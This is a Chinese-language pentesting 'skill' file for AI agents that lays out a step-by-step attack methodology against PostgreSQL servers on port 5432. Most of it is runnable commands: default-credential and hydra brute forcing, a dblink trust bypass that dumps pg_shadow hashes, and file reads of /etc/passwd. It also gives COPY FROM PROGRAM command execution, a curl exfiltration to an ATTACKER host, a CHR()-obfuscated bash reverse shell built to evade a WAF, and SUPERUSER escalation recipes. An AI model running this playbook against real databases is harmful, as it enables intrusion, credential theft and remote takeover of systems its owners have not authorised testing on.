postgresql-pentesting

$npx mdskill add wgpsec/AboutSecurity/postgresql-pentesting

Penetrate PostgreSQL 5432 services for RCE and file access.

  • Automates credential cracking and privilege escalation against databases.
  • Integrates with PostgreSQL 5432 ports and pg_hba.conf configurations.
  • Executes COPY commands, UDFs, and extension loading for remote code execution.
  • Outputs attack chains including user enumeration and file read/write results.
SKILL.md
.github/skills/postgresql-pentestingView on GitHub ↗
---
name: postgresql-pentesting
description: |
  PostgreSQL 数据库服务(5432 端口)渗透测试方法论。涵盖 PostgreSQL 服务发现、默认凭据测试、数据库枚举、文件读写(COPY/lo_import)、命令执行(RCE via UDF/扩展)、权限提升、已知漏洞利用。
  当 Agent 扫描发现 5432 端口开放、需要测试 PostgreSQL 认证、通过数据库实现文件读写或命令执行时,触发此 Skill。
metadata:
  tags: [postgresql, postgres, 数据库, 5432端口, rce, 文件读写, copy命令]
  category: exploit/network-service
---

# PostgreSQL 渗透测试方法论 (5432)

## 深入参考

- PostgreSQL 文件读写、RCE、权限提升技术细节 -> 读 [references/postgresql-techniques.md](references/postgresql-techniques.md)

---

## 整体决策树

```
发现 5432/5433 端口开放
├─ Phase 1: 服务发现与版本识别
│   ├─ 确定 PostgreSQL 版本
│   ├─ 判断运行环境 (本地 / AWS RDS / GCP Cloud SQL / Supabase)
│   └─ 识别监听地址与认证策略 (pg_hba.conf)
├─ Phase 2: 认证测试
│   ├─ 默认凭据 (postgres:postgres / postgres:空)
│   ├─ 空密码测试
│   ├─ 密码喷洒 / 暴力破解
│   └─ trust 认证利用 (本地 / peer)
├─ Phase 3: 数据库枚举
│   ├─ 用户与角色 (superuser / CREATEROLE / 特权组)
│   ├─ 数据库 / Schema / 表
│   ├─ 敏感数据 (pg_shadow / pg_authid)
│   └─ 已安装扩展与可用语言
├─ Phase 4: 文件读写
│   ├─ COPY FROM — 读取文件到表
│   ├─ pg_read_file / pg_read_binary_file — 直接读
│   ├─ COPY TO — 写文件
│   ├─ lo_import / lo_export — 大对象读写 (二进制安全)
│   └─ 覆盖 filenode — 修改表数据 (无 UPDATE 权限)
├─ Phase 5: 命令执行 (RCE)
│   ├─ COPY FROM PROGRAM — 直接命令执行
│   ├─ UDF / PL 语言 — plpython / plperl / plsh
│   ├─ 恶意扩展加载 (.so)
│   └─ 配置文件 RCE (ssl_passphrase_command / archive_command / preload_libraries)
├─ Phase 6: 权限提升
│   ├─ CREATEROLE -> 特权组 (pg_execute_server_program 等)
│   ├─ 本地 trust 认证 -> SUPERUSER
│   ├─ ALTER TABLE + 索引函数提权 (GCP)
│   ├─ SECURITY DEFINER 函数滥用
│   └─ 覆盖 pg_authid filenode -> SUPERUSER
└─ Phase 7: 已知漏洞与后渗透
    ├─ CVE-2019-9193 (COPY FROM PROGRAM, 官方声明为特性)
    ├─ Metasploit 模块
    ├─ pgAdmin 密码提取
    └─ 日志与配置审计
```

---

## Phase 1: 服务发现与版本识别

### 1.1 端口与服务探测

```bash
# Nmap 服务版本探测
nmap -sV -sC -p 5432,5433 <IP>

# Metasploit 版本扫描
msf> use auxiliary/scanner/postgres/postgres_version
```

### 1.2 环境判断

```
识别运行环境
├─ 发现 rdsadmin 数据库 -> AWS RDS 托管实例
├─ 发现 cloudsqladmin 用户 -> GCP Cloud SQL
├─ 发现 supabase_admin 用户 -> Supabase 托管
└─ 标准安装 -> 检查 pg_hba.conf / listen_addresses
```

```sql
-- 版本信息
SELECT version();

-- 当前用户与数据库
SELECT user, current_database();

-- 检查是否 superuser
SELECT current_setting('is_superuser');

-- 数据目录
SHOW data_directory;
```

### 1.3 本地环境审计 (已有 Shell)

```bash
# 查找配置文件
find /etc/postgresql -maxdepth 4 -type f \( -name "postgresql.conf" -o -name "pg_hba.conf" \) 2>/dev/null

# 检查认证策略中的 trust/peer 规则
rg -n "^(host|local)|trust|peer|md5|scram|password" /etc/postgresql 2>/dev/null

# 检查 socket 和 .pgpass
ls -l /var/run/postgresql/.s.PGSQL.5432 ~/.pgpass 2>/dev/null
```

**关键判断**:
- `trust` 规则 -> 无密码认证,直接连接
- `peer` 规则 -> 切换到 postgres OS 用户后连接
- `.pgpass` 存在 -> 可能包含明文凭据

---

## Phase 2: 认证测试

### 2.1 连接方式

```bash
# 本地连接
psql -U postgres

# 远程连接
psql -h <IP> -U <user> -d <database>
psql -h <IP> -p 5432 -U <user> -W <password> <database>
```

### 2.2 凭据测试决策树

```
尝试连接 PostgreSQL
├─ 1) 默认凭据
│   ├─ postgres:postgres
│   ├─ postgres:(空)
│   └─ admin:admin
├─ 2) trust 认证 (本地)
│   ├─ sudo -u postgres psql
│   └─ psql -h 127.0.0.1 -U postgres
├─ 3) 密码喷洒
│   ├─ hydra -t 4 -l postgres -P wordlist.txt <IP> postgres
│   └─ msf> use auxiliary/scanner/postgres/postgres_login
├─ 4) dblink 本地认证绕过
│   └─ 通过 dblink 连接 127.0.0.1 利用 trust 规则
└─ 5) PL/pgSQL 密码爆破
    └─ -> 读 references/postgresql-techniques.md #密码爆破
```

### 2.3 dblink 本地认证绕过

```sql
-- 检查 dblink 是否可用
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;

-- 不存在则尝试创建
CREATE EXTENSION dblink;

-- 通过本地 trust 规则认证
SELECT * FROM dblink('host=127.0.0.1
    port=5432
    user=postgres
    password=anything
    dbname=postgres',
    'SELECT usename, passwd FROM pg_shadow')
RETURNS (usename TEXT, passwd TEXT);
```

---

## Phase 3: 数据库枚举

### 3.1 基础信息收集

```sql
-- 列出数据库
\list
SELECT datname FROM pg_database;

-- 切换数据库
\c <database>

-- 列出表
\d
SELECT schemaname, tablename, tableowner FROM pg_tables;

-- 列出 Schema
SELECT schema_name, schema_owner FROM information_schema.schemata;
\dn+
```

### 3.2 用户与权限枚举

```sql
-- 用户与角色
\du+
SELECT usename, passwd FROM pg_shadow;

-- 详细角色信息 (含组成员关系)
SELECT
    r.rolname, r.rolsuper, r.rolinherit, r.rolcreaterole,
    r.rolcreatedb, r.rolcanlogin, r.rolbypassrls, r.rolconnlimit,
    ARRAY(SELECT b.rolname
          FROM pg_catalog.pg_auth_members m
          JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
          WHERE m.member = r.oid) as memberof,
    r.rolreplication
FROM pg_catalog.pg_roles r ORDER BY 1;

-- 表权限
SELECT grantee, table_schema, table_name, privilege_type
FROM information_schema.role_table_grants;
```

### 3.3 关键特权组

```
特权组检查
├─ pg_execute_server_program -> 可执行系统命令
├─ pg_read_server_files -> 可读任意文件
├─ pg_write_server_files -> 可写任意文件
└─ 成员关系确认: \du+ 或查询 pg_auth_members
```

### 3.4 扩展与语言

```sql
-- 已安装扩展
SELECT * FROM pg_extension;
SHOW rds.extensions;  -- AWS RDS

-- 可用语言 (PL/Python / PL/Perl 可用于 RCE)
SELECT lanname, lanacl FROM pg_language;

-- 可用函数
\df pg_catalog.*
SELECT * FROM pg_proc WHERE proname LIKE 'pg_read%';
```

---

## Phase 4: 文件读写

### 4.1 文件读取决策树

```
文件读取路径
├─ superuser 或 pg_read_server_files 成员
│   ├─ COPY 读取
│   │   ├─ CREATE TABLE t(c text);
│   │   ├─ COPY t FROM '/etc/passwd';
│   │   └─ SELECT * FROM t;
│   ├─ pg_read_file()
│   │   └─ SELECT pg_read_file('/etc/passwd', 0, 1000000);
│   ├─ pg_read_binary_file()
│   │   └─ SELECT pg_read_binary_file('/etc/passwd');
│   └─ pg_ls_dir() — 列目录
│       └─ SELECT * FROM pg_ls_dir('/tmp');
├─ CREATEROLE 权限
│   ├─ GRANT pg_read_server_files TO <user>;
│   └─ 回到上方 superuser 路径
└─ lo_import() — 大对象导入
    ├─ SELECT lo_import('/etc/passwd', 13337);
    └─ SELECT encode(lo_get(13337), 'escape');
```

**注意**: 使用 `pg_read_file` / `pg_ls_dir` 前需切换到 postgres 数据库 (`\c postgres`),否则可能报权限错误。

### 4.2 文件写入决策树

```
文件写入路径
├─ superuser 或 pg_write_server_files 成员
│   ├─ COPY TO — 文本写入
│   │   └─ COPY (SELECT convert_from(decode('<B64>','base64'),'utf-8')) TO '/path/file';
│   │   注意: 不支持换行符,必须单行 base64; 不能写二进制
│   └─ lo_export() — 二进制安全写入
│       ├─ SELECT lo_from_bytea(13338, decode('<B64>','base64'));
│       └─ SELECT lo_export(13338, '/path/file');
├─ CREATEROLE 权限
│   ├─ GRANT pg_write_server_files TO <user>;
│   └─ 回到上方 superuser 路径
└─ 覆盖 filenode — 无 UPDATE 时修改表数据
    └─ -> 读 references/postgresql-techniques.md #filenode覆盖
```

---

## Phase 5: 命令执行 (RCE)

### 5.1 RCE 路径决策树

```
命令执行路径
├─ 方法 A: COPY FROM PROGRAM (PostgreSQL >= 9.3)
│   ├─ 需要: superuser 或 pg_execute_server_program 成员
│   ├─ 直接执行
│   │   ├─ CREATE TABLE cmd_exec(cmd_output text);
│   │   ├─ COPY cmd_exec FROM PROGRAM 'id';
│   │   └─ SELECT * FROM cmd_exec;
│   └─ 反弹 Shell
│       └─ COPY t FROM PROGRAM 'perl -MIO -e ''...reverse shell...''';
├─ 方法 B: PL 语言 (需要已安装)
│   ├─ PL/Python (plpython3u)
│   │   └─ CREATE FUNCTION cmd(c text) RETURNS text AS $$ import os; return os.popen(c).read() $$ LANGUAGE plpython3u;
│   ├─ PL/Perl (plperlu)
│   └─ PL/sh
│   └─ -> 读 references/postgresql-techniques.md #PL语言RCE
├─ 方法 C: 恶意扩展 (.so)
│   ├─ 编译恶意 .so (需匹配 PG 版本)
│   ├─ 通过 lo_export 上传到服务器
│   └─ CREATE EXTENSION 或 LOAD 加载
│   └─ -> 读 references/postgresql-techniques.md #恶意扩展
├─ 方法 D: 配置文件 RCE
│   ├─ ssl_passphrase_command -> 加密私钥 + pg_reload_conf()
│   ├─ archive_command -> WAL 触发命令执行
│   └─ session_preload_libraries -> 预加载恶意 .so
│   └─ -> 读 references/postgresql-techniques.md #配置文件RCE
└─ WAF 绕过: 使用 DO $$ + CHR() 构造 COPY PROGRAM
    └─ DO $$ DECLARE cmd text; BEGIN cmd := CHR(67)||'OPY...'; EXECUTE cmd; END $$;
```

### 5.2 COPY FROM PROGRAM 快速参考

```sql
-- 基础命令执行
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

-- 数据外带
COPY (SELECT '') TO PROGRAM 'curl http://ATTACKER/?f=`ls -l|base64`';

-- Metasploit
msf> use multi/postgres/postgres_copy_from_program_cmd_exec
```

### 5.3 WAF 绕过 (SQLi 上下文)

```sql
-- 使用 CHR() 避免 COPY 关键字被过滤
DO $$
DECLARE cmd text;
BEGIN
  cmd := CHR(67) || 'OPY (SELECT '''') TO PROGRAM ''bash -c "bash -i >& /dev/tcp/ATTACKER/443 0>&1"''';
  EXECUTE cmd;
END $$;
```

---

## Phase 6: 权限提升

### 6.1 提权路径决策树

```
权限提升路径
├─ 已有 CREATEROLE
│   ├─ GRANT pg_execute_server_program TO <user>;  -> RCE
│   ├─ GRANT pg_read_server_files TO <user>;       -> 文件读
│   ├─ GRANT pg_write_server_files TO <user>;      -> 文件写
│   └─ ALTER USER <other> WITH PASSWORD 'new';     -> 修改他人密码
├─ 已有 RCE (pg_execute_server_program)
│   └─ 本地 trust 认证 -> 提升 SUPERUSER
│       └─ COPY (SELECT '') TO PROGRAM 'psql -U postgres -c "ALTER USER <you> WITH SUPERUSER;"';
├─ 已有文件读写
│   ├─ 覆盖 pg_authid filenode -> 设置 rol* 标志位 = 1
│   │   ├─ 获取 data_directory
│   │   ├─ SELECT pg_relation_filepath('pg_authid');
│   │   ├─ lo_import / lo_export 下载并编辑 filenode
│   │   └─ -> 读 references/postgresql-techniques.md #filenode提权
│   └─ 覆盖 postgresql.conf -> 配置文件 RCE
├─ ALTER TABLE 提权 (GCP Cloud SQL)
│   ├─ 创建带恶意索引函数的表
│   ├─ ALTER TABLE owner TO cloudsqladmin
│   └─ ANALYZE 触发函数以 owner 权限执行
│   └─ -> 读 references/postgresql-techniques.md #ALTER_TABLE提权
├─ SECURITY DEFINER 函数滥用
│   ├─ 搜索存在 SQL 注入的 SECURITY DEFINER 函数
│   └─ 注入提权 SQL
└─ 事件触发器提权 (Supabase)
    ├─ 创建 ddl_command_start/end 事件触发器
    ├─ DROP/CREATE EXTENSION postgres_fdw 触发 superuser 窗口
    └─ 触发器在 superuser 上下文中创建后门角色
    └─ -> 读 references/postgresql-techniques.md #事件触发器提权
```

### 6.2 CREATEROLE 快速提权

```sql
-- 授予特权组成员资格
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";

-- 创建新角色并加入特权组
CREATE ROLE pwn LOGIN PASSWORD 'pwned123' IN GROUP pg_read_server_files;

-- 修改其他非 superuser 用户密码
ALTER USER target_user WITH PASSWORD 'new_password';
```

### 6.3 本地 trust 认证提升到 SUPERUSER

```sql
-- 前提: 拥有 COPY FROM PROGRAM 权限 + pg_hba.conf 中 local/127.0.0.1 为 trust
COPY (SELECT '') TO PROGRAM 'psql -U postgres -c "ALTER USER attacker WITH SUPERUSER;"';
```

---

## Phase 7: 已知漏洞与后渗透

### 7.1 Metasploit 模块

```
msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_login
msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload
msf> use multi/postgres/postgres_copy_from_program_cmd_exec
```

### 7.2 dblink 端口扫描

```sql
-- 利用 dblink 错误信息判断端口状态
SELECT * FROM dblink_connect('host=TARGET port=PORT user=x password=x dbname=x connect_timeout=10');
-- Host is down: "No route to host"
-- Port closed: "Connection refused"
-- Port open: "server closed the connection unexpectedly" 或 "password authentication failed"
-- Port filtered: "Connection timed out"
```

### 7.3 pgAdmin 密码提取

```bash
# 读取 pgAdmin 数据库
sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
# 密码可用 pgadmin4 crypto.py 中的 decrypt 函数解密
```

### 7.4 日志配置审计

```bash
# 启用详细日志 (postgresql.conf)
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
# 日志路径: /var/lib/postgresql/<VERSION>/main/log/
```

### 7.5 pg_hba.conf 审计要点

| 配置 | 风险说明 |
|------|---------|
| `local all all trust` | 本地用户无密码访问所有数据库 |
| `host all all 0.0.0.0/0 trust` | 任意远程无密码访问 (严重) |
| `host all all 127.0.0.1/32 trust` | 本地回环无密码访问 |
| `peer` 映射 | OS 用户直接映射 DB 角色 |
| `md5` / `password` | md5 可被中间人,password 明文传输 |
More from wgpsec/AboutSecurity